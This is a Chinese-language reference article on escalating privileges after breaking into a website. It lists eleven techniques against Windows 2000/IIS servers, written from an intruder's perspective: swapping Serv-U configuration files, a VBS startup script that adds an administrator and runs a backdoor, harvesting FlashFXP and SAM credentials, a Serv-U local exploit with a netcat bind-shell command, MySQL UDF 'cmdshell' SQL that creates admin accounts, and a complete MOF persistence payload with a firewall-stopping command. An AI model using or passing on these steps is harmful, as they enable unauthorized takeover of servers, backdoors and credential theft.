提權

提高自己在伺服器中的許可權

提高自己在伺服器中的許可權,主要針對網站入侵過程中,當入侵某一網站時,通過各種漏洞提升WEBSHELL許可權以奪得該伺服器許可權。

詞語解釋


提權,顧名思義就是提高自己在伺服器中的許可權,就比如在windows中你本身登錄的用戶是guest,然後通過提權后就變成超級管理員,擁有了管理Windows的所有許可權。提權是黑客的專業名詞,一般用於網站入侵和系統入侵中。

主要方法


提權的主要方法有以下幾種:

第一

如果伺服器上有裝了pcanywhere服務端,管理員為了管理方便
也給了我們方便,到系統盤的Documents and Settings/All Us
ers/Application Data/Symantec/pcAnywhere/中下載*.cif本地
破解就使用pcanywhere連接就可以了。

第二

有很多小黑問我怎麼把webshell的iis user許可權提升
一般伺服器的管理都是本機設計完畢然後上傳到空間里,
那麼就會用到ftp,伺服器使用最多的就是servu
那麼我們就利用servu來提升許可權
通過servu提升許可權需要servu安裝目錄可寫~
好開始把,首先通過webshell訪問servu安裝文件夾下的ServUDaemon.ini把他下載
下來,然後在本機上安裝一個servu把ServUDaemon.ini放到本地安裝文件夾下覆蓋,
啟動servu添加了一個用戶,設置為系統管理員,目錄C:\,具有可執行許可權
然後去servu安裝目錄里把ServUDaemon.ini更換伺服器上的。
用我新建的用戶和密碼連接~
好的,還是連上了
ftp
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...
User (ip:(none)): id //剛才添加的用戶
331 User name okay, please send complete E-mail address as password.
Password:password //密碼
230 User logged in, proceed.
ftp> cd winnt //進入win2k的winnt目錄
250 Directory changed to /WINNT
ftp>cd system32 //進入system32目錄
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user rover rover1234 /add //利用系統的net.exe
文件加用戶。
如果提示沒有許可權,那我們就
把後門(server.exe)傳他system32目錄
然後寫一個VBs腳本
setwshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user user pass /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators user /add",0)
b=wshshell.run ("cmd.exe /c server.exe",0)
存為xx.vbe
這個腳本的作用是建立user用戶密碼為pass
並且提升為管理員
然後執行system32目錄下的server.exe
把這個教本傳他 C:\Documents and Settings\All Users\「開始」菜單\程序\啟動
目錄
這樣管理員只要一登陸就會執行那個教本.
接下來就是等了。等他登陸.

第三

就是先檢查有什麼系統服務,或者隨系統啟動自動啟動的程序和管理員經常使用的軟體,比如諾頓,VAdministrator,金山,瑞星,WinRAR甚至QQ之類的,是否可以寫,如果可以就修改其程序,綁定一個批處理或者VBS,然後還是等待伺服器重啟。

第四

查找conn和config ,pass這類型的文件看能否得到sa或者mysql的相關密碼,可能會有所
收穫等等。

第五

使用Flashfxp也能提升許可權,但是成功率就看你自己的運氣了
首先找到FlashFXP文件夾,打開(編輯)Sites. dat,這個文件這是什麼東西密碼和用戶名,
而且密碼是加了密的。如果我把這些文件copy回本地也就是我的計算機中,替換我本地的相應文件。然後會發現 打開flashfxp在站點中打開站點管理器一樣。又可以添加N多肉雞啦~~嘻嘻~
唔??不對啊,是來提升許可權的啊,暈,接著來別半途而廢。
大家看看對方管理員的這站點管理器,有用戶名和密碼,密碼是星號的。經過用xp星號密碼查看器查看,然後和Sites.dat中加密了密碼做比較發現並未加密而是查到的密碼是明文顯示,然後最終把這個網站管理員的密碼從這堆東西中找
出來。那麼下一步就可以鏈接這些新的伺服器啦~~
經過測試只要把含有密碼和用戶名的Sites.dat文件替換到本地相應的文件就可以在本地
還原對方管理員的各個站點的密碼。

第六

WIN2K+IIS5.0默認情況下應用程序保護選項是"中(共用的)",這時IIS載入isapi是用的
iwam_computername用戶身份執行。
但默認情況下WIN2K+IIS5對於一些特殊isapi又要以system身份載入。win2k+iis5 、
win2k+iis5+sp1、win2k+iis5+sp2都是簡單的判斷isapi的文件名,並且沒有做目錄限制,
SYSTEM許可權載入的isapi有:
1、idq.dll
2、 httpext.dll
3、 httpodbc.dll
4、 ssinc.dll
5、 msw3prt.dll
6、 author.dll
7、 admin.dll
8、 shtml.dll
9、 sspifilt.dll
10、compfilt.dll
11、pwsdata.dll
12、md5filt.dll
13、fpexedll.dll
所以利用這很容易得到SYSTEM許可權。並且判斷文件名的時候有個bug,比如請求/scripts/test%81%5cssinc.dll也將會認為是請求的ssinc.dll,就是分離文件路徑的時候沒有考慮到雙位元組的 遠東版問題。ssinc.dll在處理包含文件路徑的時候也有一個問題,就是"/"、"\"只識別了一個 "/",所以如果請求裡面使用"\",就會錯誤的處理包含文件路徑,有可能泄露東西或者出現許可權 漏洞,這種漏洞很多別的地方( php、asp等)也還存在。
載入這些isapi不是單以文件名做依據了,而是加了路徑,應該是修正了此問題。
一般默認情況下是:
1、idq.dlld:\winnt\system32\idq.dll
2、 httpext.dll d:\winnt\system32\inetsrv\httpext.dll
3、 httpodbc.dll d:\winnt\system32\inetsrv\httpodbc.dll
4、 ssinc.dll d:\winnt\system32\inrtsrv\ssinc.dll
5、 msw3prt.dll d:\winnt\system32\msw3prt.dll
6、 author.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll
7、 admin.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll
8、 shtml.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll
9、 sspifilt.dll d:\winnt\system32\inetsrv\sspifilt.dll
10、compfilt.dll d:\winnt\system32\inetsrv\compfilt.dll
11、pwsdata.dll d:\winnt\system32\inetsrv\pwsdata.dll
12、md5filt.dll d:\winnt\system32\inetsrv\md5filt.dll
13、fpexedll.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll
正常情況下這些路徑都guest不能寫,但如果配置不好,這些路徑iis user能夠寫了就一樣可以提升許可權了
可以把ISAPIHack.dll上傳到IIS的可執行目錄,文件名可叫ssinc.dll或者admin.dll等(上面列的13個文件名之一)。
然後等待IIS重啟載入此dll,就可以獲得許可權了

第七

下載系統的 %windir%\repair\sam.*(WinNT 4下是sam._ 而Windows 2000下是sam)文件,
然後用L0pht等軟體進行破解,只要能拿到,肯花時間,就一定可以破解。

第八

PipeUpAdmin(Windows 2000下), 在本機運行可以把當前用戶帳號加入管理員組。普通用戶和Guests組用戶都可以成功運行。

第九

Serv-u Ftp Server 本地許可權提升漏洞:
很多主機的C:\Documents and Settings\All Users\ Documents目錄以及下邊幾個子目錄Documents沒有設置許可權,導致可以在這個目錄上傳並運行Exp. 直接上傳了serv-u local exploit 和nc, 並且把serv-u的本地提升許可權的名字命名為su.exe 文件就放在C:\Documents and Settings\All Users\ Documents, 然後我們用su.exe直接建立用戶,也可以反彈一個shell過來的。
具體命令:
建立用戶: serv-u.exe "cmd"
>USER xl
>PASS 111111
反彈shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"

第十

udf提權。利用條件:root許可權的mysql賬號密碼。提權方法:具體語句如下:
create function cmdshell returns string soname 'udf.dll';
select cmdshell(’net user iis_user 123 /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:\web\3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);

第十一

mof提權。
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exeuser admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
關閉防火牆服務 net stop "Windows Firewall/Internet Connection Sharing (ICS)"
以上保存為xxx.mof
1.找個可寫目錄,上傳mof文件
2.執行sql
select load_file('C:\\RECYCLER\\nullevt.mof') into
dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';